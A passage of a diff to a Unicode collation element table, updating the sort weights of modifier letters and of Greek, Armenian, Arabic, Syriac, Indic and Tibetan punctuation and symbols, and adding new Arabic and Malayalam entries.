+02D3  ; [*04A5.0020.0002] # MODIFIER LETTER CENTRED LEFT HALF RING
+02D4  ; [*04A6.0020.0002] # MODIFIER LETTER UP TACK
+02D5  ; [*04A7.0020.0002] # MODIFIER LETTER DOWN TACK
+02D6  ; [*04A8.0020.0002] # MODIFIER LETTER PLUS SIGN
+02D7  ; [*04A9.0020.0002] # MODIFIER LETTER MINUS SIGN
+02D8  ; [*0487.0020.0002] # BREVE
+02D9  ; [*0488.0020.0002] # DOT ABOVE
+02DA  ; [*048A.0020.0002] # RING ABOVE
+02DB  ; [*048D.0020.0002] # OGONEK
+02DC  ; [*0484.0020.0002] # SMALL TILDE
+02DD  ; [*048B.0020.0002] # DOUBLE ACUTE ACCENT
+02DE  ; [*04AA.0020.0002] # MODIFIER LETTER RHOTIC HOOK
+02DF  ; [*04AB.0020.0002] # MODIFIER LETTER CROSS ACCENT
+02E5  ; [*04AC.0020.0002] # MODIFIER LETTER EXTRA-HIGH TONE BAR
+02E6  ; [*04AD.0020.0002] # MODIFIER LETTER HIGH TONE BAR
+02E7  ; [*04AE.0020.0002] # MODIFIER LETTER MID TONE BAR
+02E8  ; [*04AF.0020.0002] # MODIFIER LETTER LOW TONE BAR
+02E9  ; [*04B0.0020.0002] # MODIFIER LETTER EXTRA-LOW TONE BAR
+02EA  ; [*04B1.0020.0002] # MODIFIER LETTER YIN DEPARTING TONE MARK
+02EB  ; [*04B2.0020.0002] # MODIFIER LETTER YANG DEPARTING TONE MARK
+02EC  ; [*04B3.0020.0002] # MODIFIER LETTER VOICING
+02ED  ; [*04B4.0020.0002] # MODIFIER LETTER UNASPIRATED
+02EF  ; [*04B5.0020.0002] # MODIFIER LETTER LOW DOWN ARROWHEAD
+02F0  ; [*04B6.0020.0002] # MODIFIER LETTER LOW UP ARROWHEAD
+02F1  ; [*04B7.0020.0002] # MODIFIER LETTER LOW LEFT ARROWHEAD
+02F2  ; [*04B8.0020.0002] # MODIFIER LETTER LOW RIGHT ARROWHEAD
+02F3  ; [*04B9.0020.0002] # MODIFIER LETTER LOW RING
+02F4  ; [*04BA.0020.0002] # MODIFIER LETTER MIDDLE GRAVE ACCENT
+02F5  ; [*04BB.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT
+02F6  ; [*04BC.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT
+02F7  ; [*04BD.0020.0002] # MODIFIER LETTER LOW TILDE
+02F8  ; [*04BE.0020.0002] # MODIFIER LETTER RAISED COLON
+02F9  ; [*04BF.0020.0002] # MODIFIER LETTER BEGIN HIGH TONE
+02FA  ; [*04C0.0020.0002] # MODIFIER LETTER END HIGH TONE
+02FB  ; [*04C1.0020.0002] # MODIFIER LETTER BEGIN LOW TONE
+02FC  ; [*04C2.0020.0002] # MODIFIER LETTER END LOW TONE
+02FD  ; [*04C3.0020.0002] # MODIFIER LETTER SHELF
+02FE  ; [*04C4.0020.0002] # MODIFIER LETTER OPEN SHELF
+02FF  ; [*04C5.0020.0002] # MODIFIER LETTER LOW LEFT ARROW
 034F  ; [.0000.0000.0000] # COMBINING GRAPHEME JOINER
-0374  ; [*0474.0020.0002] # GREEK NUMERAL SIGN
-0375  ; [*0475.0020.0002] # GREEK LOWER NUMERAL SIGN
-037E  ; [*0233.0020.0002] # GREEK QUESTION MARK
-0384  ; [*0464.0020.0002] # GREEK TONOS
-0385  ; [*046A.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA TONOS
-0387  ; [*0288.0020.0002] # GREEK ANO TELEIA
-03F6  ; [*05F1.0020.0002] # GREEK REVERSED LUNATE EPSILON SYMBOL
-0482  ; [*04D8.0020.0002] # CYRILLIC THOUSANDS SIGN
+0374  ; [*0493.0020.0002] # GREEK NUMERAL SIGN
+0375  ; [*0494.0020.0002] # GREEK LOWER NUMERAL SIGN
+037E  ; [*0234.0020.0002] # GREEK QUESTION MARK
+0384  ; [*0483.0020.0002] # GREEK TONOS
+0385  ; [*0489.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA TONOS
+0387  ; [*028B.0020.0002] # GREEK ANO TELEIA
+03F6  ; [*0611.0020.0002] # GREEK REVERSED LUNATE EPSILON SYMBOL
+0482  ; [*04F7.0020.0002] # CYRILLIC THOUSANDS SIGN
 0488  ; [.0000.0000.0000] # COMBINING CYRILLIC HUNDRED THOUSANDS SIGN
 0489  ; [.0000.0000.0000] # COMBINING CYRILLIC MILLIONS SIGN
-055A  ; [*03C3.0020.0002] # ARMENIAN APOSTROPHE
-055B  ; [*03C4.0020.0002] # ARMENIAN EMPHASIS MARK
-055C  ; [*0261.0020.0002] # ARMENIAN EXCLAMATION MARK
-055D  ; [*0225.0020.0002] # ARMENIAN COMMA
-055E  ; [*0267.0020.0002] # ARMENIAN QUESTION MARK
-055F  ; [*03C5.0020.0002] # ARMENIAN ABBREVIATION MARK
-0589  ; [*0239.0020.0002] # ARMENIAN FULL STOP
+055A  ; [*03CB.0020.0002] # ARMENIAN APOSTROPHE
+055B  ; [*03CC.0020.0002] # ARMENIAN EMPHASIS MARK
+055C  ; [*0262.0020.0002] # ARMENIAN EXCLAMATION MARK
+055D  ; [*0226.0020.0002] # ARMENIAN COMMA
+055E  ; [*0269.0020.0002] # ARMENIAN QUESTION MARK
+055F  ; [*03CD.0020.0002] # ARMENIAN ABBREVIATION MARK
+0589  ; [*023A.0020.0002] # ARMENIAN FULL STOP
 058A  ; [*020E.0020.0002] # ARMENIAN HYPHEN
-058D  ; [*04D9.0020.0002] # RIGHT-FACING ARMENIAN ETERNITY SIGN
-058E  ; [*04DA.0020.0002] # LEFT-FACING ARMENIAN ETERNITY SIGN
+058D  ; [*04F8.0020.0002] # RIGHT-FACING ARMENIAN ETERNITY SIGN
+058E  ; [*04F9.0020.0002] # LEFT-FACING ARMENIAN ETERNITY SIGN
 0591  ; [.0000.0000.0000] # HEBREW ACCENT ETNAHTA
 0592  ; [.0000.0000.0000] # HEBREW ACCENT SEGOL
 0593  ; [.0000.0000.0000] # HEBREW ACCENT SHALSHELET
@@ -640,14 +642,14 @@
 05AE  ; [.0000.0000.0000] # HEBREW ACCENT ZINOR
 05AF  ; [.0000.0000.0000] # HEBREW MARK MASORA CIRCLE
 05BD  ; [.0000.0000.0000] # HEBREW POINT METEG
-05BE  ; [*03C6.0020.0002] # HEBREW PUNCTUATION MAQAF
-05C0  ; [*03C7.0020.0002] # HEBREW PUNCTUATION PASEQ
-05C3  ; [*03C8.0020.0002] # HEBREW PUNCTUATION SOF PASUQ
+05BE  ; [*03CE.0020.0002] # HEBREW PUNCTUATION MAQAF
+05C0  ; [*03CF.0020.0002] # HEBREW PUNCTUATION PASEQ
+05C3  ; [*03D0.0020.0002] # HEBREW PUNCTUATION SOF PASUQ
 05C4  ; [.0000.0000.0000] # HEBREW MARK UPPER DOT
 05C5  ; [.0000.0000.0000] # HEBREW MARK LOWER DOT
-05C6  ; [*03C9.0020.0002] # HEBREW PUNCTUATION NUN HAFUKHA
-05F3  ; [*03CA.0020.0002] # HEBREW PUNCTUATION GERESH
-05F4  ; [*03CB.0020.0002] # HEBREW PUNCTUATION GERSHAYIM
+05C6  ; [*03D1.0020.0002] # HEBREW PUNCTUATION NUN HAFUKHA
+05F3  ; [*03D2.0020.0002] # HEBREW PUNCTUATION GERESH
+05F4  ; [*03D3.0020.0002] # HEBREW PUNCTUATION GERSHAYIM
 0600  ; [.0000.0000.0000] # ARABIC NUMBER SIGN
 0601  ; [.0000.0000.0000] # ARABIC SIGN SANAH
 0602  ; [.0000.0000.0000] # ARABIC FOOTNOTE MARKER
@@ -654,15 +656,15 @@
 0603  ; [.0000.0000.0000] # ARABIC SIGN SAFHA
 0604  ; [.0000.0000.0000] # ARABIC SIGN SAMVAT
 0605  ; [.0000.0000.0000] # ARABIC NUMBER MARK ABOVE
-0606  ; [*060D.0020.0002] # ARABIC-INDIC CUBE ROOT
-0607  ; [*060F.0020.0002] # ARABIC-INDIC FOURTH ROOT
-0608  ; [*04DB.0020.0002] # ARABIC RAY
-0609  ; [*0395.0020.0002] # ARABIC-INDIC PER MILLE SIGN
-060A  ; [*0397.0020.0002] # ARABIC-INDIC PER TEN THOUSAND SIGN
-060C  ; [*0226.0020.0002] # ARABIC COMMA
-060D  ; [*0227.0020.0002] # ARABIC DATE SEPARATOR
-060E  ; [*04DE.0020.0002] # ARABIC POETIC VERSE SIGN
-060F  ; [*04DF.0020.0002] # ARABIC SIGN MISRA
+0606  ; [*062D.0020.0002] # ARABIC-INDIC CUBE ROOT
+0607  ; [*062F.0020.0002] # ARABIC-INDIC FOURTH ROOT
+0608  ; [*04FA.0020.0002] # ARABIC RAY
+0609  ; [*039C.0020.0002] # ARABIC-INDIC PER MILLE SIGN
+060A  ; [*039E.0020.0002] # ARABIC-INDIC PER TEN THOUSAND SIGN
+060C  ; [*0227.0020.0002] # ARABIC COMMA
+060D  ; [*0228.0020.0002] # ARABIC DATE SEPARATOR
+060E  ; [*04FD.0020.0002] # ARABIC POETIC VERSE SIGN
+060F  ; [*04FE.0020.0002] # ARABIC SIGN MISRA
 0610  ; [.0000.0000.0000] # ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM
 0611  ; [.0000.0000.0000] # ARABIC SIGN ALAYHE ASSALLAM
 0612  ; [.0000.0000.0000] # ARABIC SIGN RAHMATULLAH ALAYHE
@@ -674,15 +676,15 @@
 0618  ; [.0000.0000.0000] # ARABIC SMALL FATHA
 0619  ; [.0000.0000.0000] # ARABIC SMALL DAMMA
 061A  ; [.0000.0000.0000] # ARABIC SMALL KASRA
-061B  ; [*0234.0020.0002] # ARABIC SEMICOLON
-061E  ; [*023A.0020.0002] # ARABIC TRIPLE DOT PUNCTUATION MARK
-061F  ; [*0268.0020.0002] # ARABIC QUESTION MARK
+061B  ; [*0235.0020.0002] # ARABIC SEMICOLON
+061E  ; [*023B.0020.0002] # ARABIC TRIPLE DOT PUNCTUATION MARK
+061F  ; [*026A.0020.0002] # ARABIC QUESTION MARK
 0640  ; [.0000.0000.0000] # ARABIC TATWEEL
-066A  ; [*0393.0020.0002] # ARABIC PERCENT SIGN
-066B  ; [*0228.0020.0002] # ARABIC DECIMAL SEPARATOR
-066C  ; [*0229.0020.0002] # ARABIC THOUSANDS SEPARATOR
-066D  ; [*038B.0020.0002] # ARABIC FIVE POINTED STAR
-06D4  ; [*0276.0020.0002] # ARABIC FULL STOP
+066A  ; [*039A.0020.0002] # ARABIC PERCENT SIGN
+066B  ; [*0229.0020.0002] # ARABIC DECIMAL SEPARATOR
+066C  ; [*022A.0020.0002] # ARABIC THOUSANDS SEPARATOR
+066D  ; [*0392.0020.0002] # ARABIC FIVE POINTED STAR
+06D4  ; [*0279.0020.0002] # ARABIC FULL STOP
 06D6  ; [.0000.0000.0000] # ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA
 06D7  ; [.0000.0000.0000] # ARABIC SMALL HIGH LIGATURE QAF WITH LAM WITH ALEF MAKSURA
 06D8  ; [.0000.0000.0000] # ARABIC SMALL HIGH MEEM INITIAL FORM
@@ -691,7 +693,7 @@
 06DB  ; [.0000.0000.0000] # ARABIC SMALL HIGH THREE DOTS
 06DC  ; [.0000.0000.0000] # ARABIC SMALL HIGH SEEN
 06DD  ; [.0000.0000.0000] # ARABIC END OF AYAH
-06DE  ; [*04E0.0020.0002] # ARABIC START OF RUB EL HIZB
+06DE  ; [*04FF.0020.0002] # ARABIC START OF RUB EL HIZB
 06DF  ; [.0000.0000.0000] # ARABIC SMALL HIGH ROUNDED ZERO
 06E0  ; [.0000.0000.0000] # ARABIC SMALL HIGH UPRIGHT RECTANGULAR ZERO
 06E1  ; [.0000.0000.0000] # ARABIC SMALL HIGH DOTLESS HEAD OF KHAH
@@ -700,25 +702,25 @@
 06E4  ; [.0000.0000.0000] # ARABIC SMALL HIGH MADDA
 06E7  ; [.0000.0000.0000] # ARABIC SMALL HIGH YEH
 06E8  ; [.0000.0000.0000] # ARABIC SMALL HIGH NOON
-06E9  ; [*04E1.0020.0002] # ARABIC PLACE OF SAJDAH
+06E9  ; [*0500.0020.0002] # ARABIC PLACE OF SAJDAH
 06EA  ; [.0000.0000.0000] # ARABIC EMPTY CENTRE LOW STOP
 06EB  ; [.0000.0000.0000] # ARABIC EMPTY CENTRE HIGH STOP
 06EC  ; [.0000.0000.0000] # ARABIC ROUNDED HIGH STOP WITH FILLED CENTRE
 06ED  ; [.0000.0000.0000] # ARABIC SMALL LOW MEEM
-0700  ; [*02BD.0020.0002] # SYRIAC END OF PARAGRAPH
-0701  ; [*0277.0020.0002] # SYRIAC SUPRALINEAR FULL STOP
-0702  ; [*0278.0020.0002] # SYRIAC SUBLINEAR FULL STOP
-0703  ; [*023B.0020.0002] # SYRIAC SUPRALINEAR COLON
-0704  ; [*023C.0020.0002] # SYRIAC SUBLINEAR COLON
-0705  ; [*023D.0020.0002] # SYRIAC HORIZONTAL COLON
-0706  ; [*023E.0020.0002] # SYRIAC COLON SKEWED LEFT
-0707  ; [*023F.0020.0002] # SYRIAC COLON SKEWED RIGHT
-0708  ; [*0240.0020.0002] # SYRIAC SUPRALINEAR COLON SKEWED LEFT
-0709  ; [*0269.0020.0002] # SYRIAC SUBLINEAR COLON SKEWED RIGHT
-070A  ; [*03CC.0020.0002] # SYRIAC CONTRACTION
-070B  ; [*03CD.0020.0002] # SYRIAC HARKLEAN OBELUS
-070C  ; [*03CE.0020.0002] # SYRIAC HARKLEAN METOBELUS
-070D  ; [*03CF.0020.0002] # SYRIAC HARKLEAN ASTERISCUS
+0700  ; [*02C4.0020.0002] # SYRIAC END OF PARAGRAPH
+0701  ; [*027A.0020.0002] # SYRIAC SUPRALINEAR FULL STOP
+0702  ; [*027B.0020.0002] # SYRIAC SUBLINEAR FULL STOP
+0703  ; [*023C.0020.0002] # SYRIAC SUPRALINEAR COLON
+0704  ; [*023D.0020.0002] # SYRIAC SUBLINEAR COLON
+0705  ; [*023E.0020.0002] # SYRIAC HORIZONTAL COLON
+0706  ; [*023F.0020.0002] # SYRIAC COLON SKEWED LEFT
+0707  ; [*0240.0020.0002] # SYRIAC COLON SKEWED RIGHT
+0708  ; [*0241.0020.0002] # SYRIAC SUPRALINEAR COLON SKEWED LEFT
+0709  ; [*026B.0020.0002] # SYRIAC SUBLINEAR COLON SKEWED RIGHT
+070A  ; [*03D4.0020.0002] # SYRIAC CONTRACTION
+070B  ; [*03D5.0020.0002] # SYRIAC HARKLEAN OBELUS
+070C  ; [*03D6.0020.0002] # SYRIAC HARKLEAN METOBELUS
+070D  ; [*03D7.0020.0002] # SYRIAC HARKLEAN ASTERISCUS
 0740  ; [.0000.0000.0000] # SYRIAC FEMININE DOT
 0743  ; [.0000.0000.0000] # SYRIAC TWO VERTICAL DOTS ABOVE
 0744  ; [.0000.0000.0000] # SYRIAC TWO VERTICAL DOTS BELOW
@@ -726,27 +728,41 @@
 0748  ; [.0000.0000.0000] # SYRIAC OBLIQUE LINE BELOW
 0749  ; [.0000.0000.0000] # SYRIAC MUSIC
 074A  ; [.0000.0000.0000] # SYRIAC BARREKH
-07F6  ; [*04F3.0020.0002] # NKO SYMBOL OO DENNEN
-07F7  ; [*02BE.0020.0002] # NKO SYMBOL GBAKURUNEN
-07F8  ; [*022A.0020.0002] # NKO COMMA
-07F9  ; [*0262.0020.0002] # NKO EXCLAMATION MARK
+07F6  ; [*0512.0020.0002] # NKO SYMBOL OO DENNEN
+07F7  ; [*02C5.0020.0002] # NKO SYMBOL GBAKURUNEN
+07F8  ; [*022B.0020.0002] # NKO COMMA
+07F9  ; [*0263.0020.0002] # NKO EXCLAMATION MARK
 07FA  ; [.0000.0000.0000] # NKO LAJANYALAN
-0830  ; [*0241.0020.0002] # SAMARITAN PUNCTUATION NEQUDAA
-0831  ; [*0242.0020.0002] # SAMARITAN PUNCTUATION AFSAAQ
-0832  ; [*0243.0020.0002] # SAMARITAN PUNCTUATION ANGED
-0833  ; [*0244.0020.0002] # SAMARITAN PUNCTUATION BAU
-0834  ; [*0245.0020.0002] # SAMARITAN PUNCTUATION ATMAAU
-0835  ; [*0246.0020.0002] # SAMARITAN PUNCTUATION SHIYYAALAA
-0836  ; [*0247.0020.0002] # SAMARITAN ABBREVIATION MARK
-0837  ; [*0248.0020.0002] # SAMARITAN PUNCTUATION MELODIC QITSA
-0838  ; [*0249.0020.0002] # SAMARITAN PUNCTUATION ZIQAA
-0839  ; [*024A.0020.0002] # SAMARITAN PUNCTUATION QITSA
-083A  ; [*024B.0020.0002] # SAMARITAN PUNCTUATION ZAEF
-083B  ; [*024C.0020.0002] # SAMARITAN PUNCTUATION TURU
-083C  ; [*024D.0020.0002] # SAMARITAN PUNCTUATION ARKAANU
-083D  ; [*024E.0020.0002] # SAMARITAN PUNCTUATION SOF MASHFAAT
-083E  ; [*024F.0020.0002] # SAMARITAN PUNCTUATION ANNAAU
-085E  ; [*03D0.0020.0002] # MANDAIC PUNCTUATION
+0830  ; [*0242.0020.0002] # SAMARITAN PUNCTUATION NEQUDAA
+0831  ; [*0243.0020.0002] # SAMARITAN PUNCTUATION AFSAAQ
+0832  ; [*0244.0020.0002] # SAMARITAN PUNCTUATION ANGED
+0833  ; [*0245.0020.0002] # SAMARITAN PUNCTUATION BAU
+0834  ; [*0246.0020.0002] # SAMARITAN PUNCTUATION ATMAAU
+0835  ; [*0247.0020.0002] # SAMARITAN PUNCTUATION SHIYYAALAA
+0836  ; [*0248.0020.0002] # SAMARITAN ABBREVIATION MARK
+0837  ; [*0249.0020.0002] # SAMARITAN PUNCTUATION MELODIC QITSA
+0838  ; [*024A.0020.0002] # SAMARITAN PUNCTUATION ZIQAA
+0839  ; [*024B.0020.0002] # SAMARITAN PUNCTUATION QITSA
+083A  ; [*024C.0020.0002] # SAMARITAN PUNCTUATION ZAEF
+083B  ; [*024D.0020.0002] # SAMARITAN PUNCTUATION TURU
+083C  ; [*024E.0020.0002] # SAMARITAN PUNCTUATION ARKAANU
+083D  ; [*024F.0020.0002] # SAMARITAN PUNCTUATION SOF MASHFAAT
+083E  ; [*0250.0020.0002] # SAMARITAN PUNCTUATION ANNAAU
+085E  ; [*03D8.0020.0002] # MANDAIC PUNCTUATION
+08D4  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD AR-RUB
+08D5  ; [.0000.0000.0000] # ARABIC SMALL HIGH SAD
+08D6  ; [.0000.0000.0000] # ARABIC SMALL HIGH AIN
+08D7  ; [.0000.0000.0000] # ARABIC SMALL HIGH QAF
+08D8  ; [.0000.0000.0000] # ARABIC SMALL HIGH NOON WITH KASRA
+08D9  ; [.0000.0000.0000] # ARABIC SMALL LOW NOON WITH KASRA
+08DA  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD ATH-THALATHA
+08DB  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD AS-SAJDA
+08DC  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD AN-NISF
+08DD  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD SAKTA
+08DE  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD QIF
+08DF  ; [.0000.0000.0000] # ARABIC SMALL HIGH WORD WAQFA
+08E0  ; [.0000.0000.0000] # ARABIC SMALL HIGH FOOTNOTE MARKER
+08E1  ; [.0000.0000.0000] # ARABIC SMALL HIGH SIGN SAFHA
 08EA  ; [.0000.0000.0000] # ARABIC TONE ONE DOT ABOVE
 08EB  ; [.0000.0000.0000] # ARABIC TONE TWO DOTS ABOVE
 08EC  ; [.0000.0000.0000] # ARABIC TONE LOOP ABOVE
@@ -756,259 +772,270 @@
 08F3  ; [.0000.0000.0000] # ARABIC SMALL HIGH WAW
 0951  ; [.0000.0000.0000] # DEVANAGARI STRESS SIGN UDATTA
 0952  ; [.0000.0000.0000] # DEVANAGARI STRESS SIGN ANUDATTA
-0964  ; [*028B.0020.0002] # DEVANAGARI DANDA
-0965  ; [*028C.0020.0002] # DEVANAGARI DOUBLE DANDA
-0970  ; [*03D2.0020.0002] # DEVANAGARI ABBREVIATION SIGN
-09F4  ; [*1A26.0020.0002] # BENGALI CURRENCY NUMERATOR ONE
-09F5  ; [*1A27.0020.0002] # BENGALI CURRENCY NUMERATOR TWO
-09F6  ; [*1A28.0020.0002] # BENGALI CURRENCY NUMERATOR THREE
-09F7  ; [*1A29.0020.0002] # BENGALI CURRENCY NUMERATOR FOUR
-09F8  ; [*1A2A.0020.0002] # BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR
-09F9  ; [*1A2B.0020.0002] # BENGALI CURRENCY DENOMINATOR SIXTEEN
-09FA  ; [*04F4.0020.0002] # BENGALI ISSHAR
-0AF0  ; [*03D7.0020.0002] # GUJARATI ABBREVIATION SIGN
-0B70  ; [*04F5.0020.0002] # ORIYA ISSHAR
-0B72  ; [*1A2C.0020.0002] # ORIYA FRACTION ONE QUARTER
-0B73  ; [*1A2D.0020.0002] # ORIYA FRACTION ONE HALF
-0B74  ; [*1A2E.0020.0002] # ORIYA FRACTION THREE QUARTERS
-0B75  ; [*1A2F.0020.0002] # ORIYA FRACTION ONE SIXTEENTH
-0B76  ; [*1A30.0020.0002] # ORIYA FRACTION ONE EIGHTH
-0B77  ; [*1A31.0020.0002] # ORIYA FRACTION THREE SIXTEENTHS
-0BF0  ; [*1A38.0020.0002] # TAMIL NUMBER TEN
-0BF1  ; [*1A39.0020.0002] # TAMIL NUMBER ONE HUNDRED
-0BF2  ; [*1A3A.0020.0002] # TAMIL NUMBER ONE THOUSAND
-0BF3  ; [*04F6.0020.0002] # TAMIL DAY SIGN
-0BF4  ; [*04F7.0020.0002] # TAMIL MONTH SIGN
-0BF5  ; [*04F8.0020.0002] # TAMIL YEAR SIGN
-0BF6  ; [*04F9.0020.0002] # TAMIL DEBIT SIGN
-0BF7  ; [*04FA.0020.0002] # TAMIL CREDIT SIGN
-0BF8  ; [*04FB.0020.0002] # TAMIL AS ABOVE SIGN
-0BFA  ; [*04FC.0020.0002] # TAMIL NUMBER SIGN
-0C7F  ; [*04FD.0020.0002] # TELUGU SIGN TUUMU
-0D70  ; [*1A3B.0020.0002] # MALAYALAM NUMBER TEN
-0D71  ; [*1A3C.0020.0002] # MALAYALAM NUMBER ONE HUNDRED
-0D72  ; [*1A3D.0020.0002] # MALAYALAM NUMBER ONE THOUSAND
-0D73  ; [*1A3E.0020.0002] # MALAYALAM FRACTION ONE QUARTER
-0D74  ; [*1A3F.0020.0002] # MALAYALAM FRACTION ONE HALF
-0D75  ; [*1A40.0020.0002] # MALAYALAM FRACTION THREE QUARTERS
-0D79  ; [*04FE.0020.0002] # MALAYALAM DATE MARK
-0DF4  ; [*03D8.0020.0002] # SINHALA PUNCTUATION KUNDDALIYA
-0E4F  ; [*03D9.0020.0002] # THAI CHARACTER FONGMAN
-0E5A  ; [*03DA.0020.0002] # THAI CHARACTER ANGKHANKHU
-0E5B  ; [*03DB.0020.0002] # THAI CHARACTER KHOMUT
-0F01  ; [*0506.0020.0002] # TIBETAN MARK GTER YIG MGO TRUNCATED A
-0F02  ; [*0507.0020.0002] # TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA
-0F03  ; [*0508.0020.0002] # TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA
-0F04  ; [*03DE.0020.0002] # TIBETAN MARK INITIAL YIG MGO MDUN MA
-0F05  ; [*03DF.0020.0002] # TIBETAN MARK CLOSING YIG MGO SGAB MA
-0F06  ; [*03E0.0020.0002] # TIBETAN MARK CARET YIG MGO PHUR SHAD MA
-0F07  ; [*03E1.0020.0002] # TIBETAN MARK YIG MGO TSHEG SHAD MA
-0F08  ; [*03E2.0020.0002] # TIBETAN MARK SBRUL SHAD
-0F09  ; [*03E3.0020.0002] # TIBETAN MARK BSKUR YIG MGO
-0F0A  ; [*03E4.0020.0002] # TIBETAN MARK BKA- SHOG YIG MGO
-0F0B  ; [*03E7.0020.0002] # TIBETAN MARK INTERSYLLABIC TSHEG
-0F0C  ; [*03E7.0020.001B] # TIBETAN MARK DELIMITER TSHEG BSTAR
-0F0D  ; [*03E8.0020.0002] # TIBETAN MARK SHAD
-0F0E  ; [*03E9.0020.0002] # TIBETAN MARK NYIS SHAD
-0F0F  ; [*03EA.0020.0002] # TIBETAN MARK TSHEG SHAD
-0F10  ; [*03EB.0020.0002] # TIBETAN MARK NYIS TSHEG SHAD
-0F11  ; [*03EC.0020.0002] # TIBETAN MARK RIN CHEN SPUNGS SHAD
-0F12  ; [*03ED.0020.0002] # TIBETAN MARK RGYA GRAM SHAD
-0F13  ; [*0509.0020.0002] # TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN
-0F14  ; [*0257.0020.0002] # TIBETAN MARK GTER TSHEG
-0F15  ; [*050A.0020.0002] # TIBETAN LOGOTYPE SIGN CHAD RTAGS
-0F16  ; [*050B.0020.0002] # TIBETAN LOGOTYPE SIGN LHAG RTAGS
-0F17  ; [*050C.0020.0002] # TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS
+0964  ; [*028E.0020.0002] # DEVANAGARI DANDA
+0965  ; [*028F.0020.0002] # DEVANAGARI DOUBLE DANDA
+0970  ; [*03E7.0020.0002] # DEVANAGARI ABBREVIATION SIGN
+09F4  ; [*1A96.0020.0002] # BENGALI CURRENCY NUMERATOR ONE
+09F5  ; [*1A97.0020.0002] # BENGALI CURRENCY NUMERATOR TWO
+09F6  ; [*1A98.0020.0002] # BENGALI CURRENCY NUMERATOR THREE
+09F7  ; [*1A99.0020.0002] # BENGALI CURRENCY NUMERATOR FOUR
+09F8  ; [*1A9A.0020.0002] # BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR
+09F9  ; [*1A9B.0020.0002] # BENGALI CURRENCY DENOMINATOR SIXTEEN
+09FA  ; [*0513.0020.0002] # BENGALI ISSHAR
+0AF0  ; [*03EC.0020.0002] # GUJARATI ABBREVIATION SIGN
+0B70  ; [*0514.0020.0002] # ORIYA ISSHAR
+0B72  ; [*1A9C.0020.0002] # ORIYA FRACTION ONE QUARTER
+0B73  ; [*1A9D.0020.0002] # ORIYA FRACTION ONE HALF
+0B74  ; [*1A9E.0020.0002] # ORIYA FRACTION THREE QUARTERS
+0B75  ; [*1A9F.0020.0002] # ORIYA FRACTION ONE SIXTEENTH
+0B76  ; [*1AA0.0020.0002] # ORIYA FRACTION ONE EIGHTH
+0B77  ; [*1AA1.0020.0002] # ORIYA FRACTION THREE SIXTEENTHS
+0BF0  ; [*1AA8.0020.0002] # TAMIL NUMBER TEN
+0BF1  ; [*1AA9.0020.0002] # TAMIL NUMBER ONE HUNDRED
+0BF2  ; [*1AAA.0020.0002] # TAMIL NUMBER ONE THOUSAND
+0BF3  ; [*0515.0020.0002] # TAMIL DAY SIGN
+0BF4  ; [*0516.0020.0002] # TAMIL MONTH SIGN
+0BF5  ; [*0517.0020.0002] # TAMIL YEAR SIGN
+0BF6  ; [*0518.0020.0002] # TAMIL DEBIT SIGN
+0BF7  ; [*0519.0020.0002] # TAMIL CREDIT SIGN
+0BF8  ; [*051A.0020.0002] # TAMIL AS ABOVE SIGN
+0BFA  ; [*051B.0020.0002] # TAMIL NUMBER SIGN
+0C7F  ; [*051C.0020.0002] # TELUGU SIGN TUUMU
+0D4F  ; [*051D.0020.0002] # MALAYALAM SIGN PARA
+0D58  ; [*1AAB.0020.0002] # MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH
+0D59  ; [*1AAC.0020.0002] # MALAYALAM FRACTION ONE FORTIETH
+0D5A  ; [*1AAD.0020.0002] # MALAYALAM FRACTION THREE EIGHTIETHS
+0D5B  ; [*1AAE.0020.0002] # MALAYALAM FRACTION ONE TWENTIETH
+0D5C  ; [*1AAF.0020.0002] # MALAYALAM FRACTION ONE TENTH
+0D5D  ; [*1AB0.0020.0002] # MALAYALAM FRACTION THREE TWENTIETHS
+0D5E  ; [*1AB1.0020.0002] # MALAYALAM FRACTION ONE FIFTH
+0D70  ; [*1AB2.0020.0002] # MALAYALAM NUMBER TEN
+0D71  ; [*1AB3.0020.0002] # MALAYALAM NUMBER ONE HUNDRED
+0D72  ; [*1AB4.0020.0002] # MALAYALAM NUMBER ONE THOUSAND
+0D73  ; [*1AB5.0020.0002] # MALAYALAM FRACTION ONE QUARTER
+0D74  ; [*1AB6.0020.0002] # MALAYALAM FRACTION ONE HALF
+0D75  ; [*1AB7.0020.0002] # MALAYALAM FRACTION THREE QUARTERS
+0D76  ; [*1AB8.0020.0002] # MALAYALAM FRACTION ONE SIXTEENTH
+0D77  ; [*1AB9.0020.0002] # MALAYALAM FRACTION ONE EIGHTH
+0D78  ; [*1ABA.0020.0002] # MALAYALAM FRACTION THREE SIXTEENTHS
+0D79  ; [*051E.0020.0002] # MALAYALAM DATE MARK
+0DF4  ; [*03ED.0020.0002] # SINHALA PUNCTUATION KUNDDALIYA
+0E4F  ; [*03EE.0020.0002] # THAI CHARACTER FONGMAN
+0E5A  ; [*03EF.0020.0002] # THAI CHARACTER ANGKHANKHU
+0E5B  ; [*03F0.0020.0002] # THAI CHARACTER KHOMUT
+0F01  ; [*0526.0020.0002] # TIBETAN MARK GTER YIG MGO TRUNCATED A
+0F02  ; [*0527.0020.0002] # TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA
+0F03  ; [*0528.0020.0002] # TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA
+0F04  ; [*03F3.0020.0002] # TIBETAN MARK INITIAL YIG MGO MDUN MA
+0F05  ; [*03F4.0020.0002] # TIBETAN MARK CLOSING YIG MGO SGAB MA
+0F06  ; [*03F5.0020.0002] # TIBETAN MARK CARET YIG MGO PHUR SHAD MA
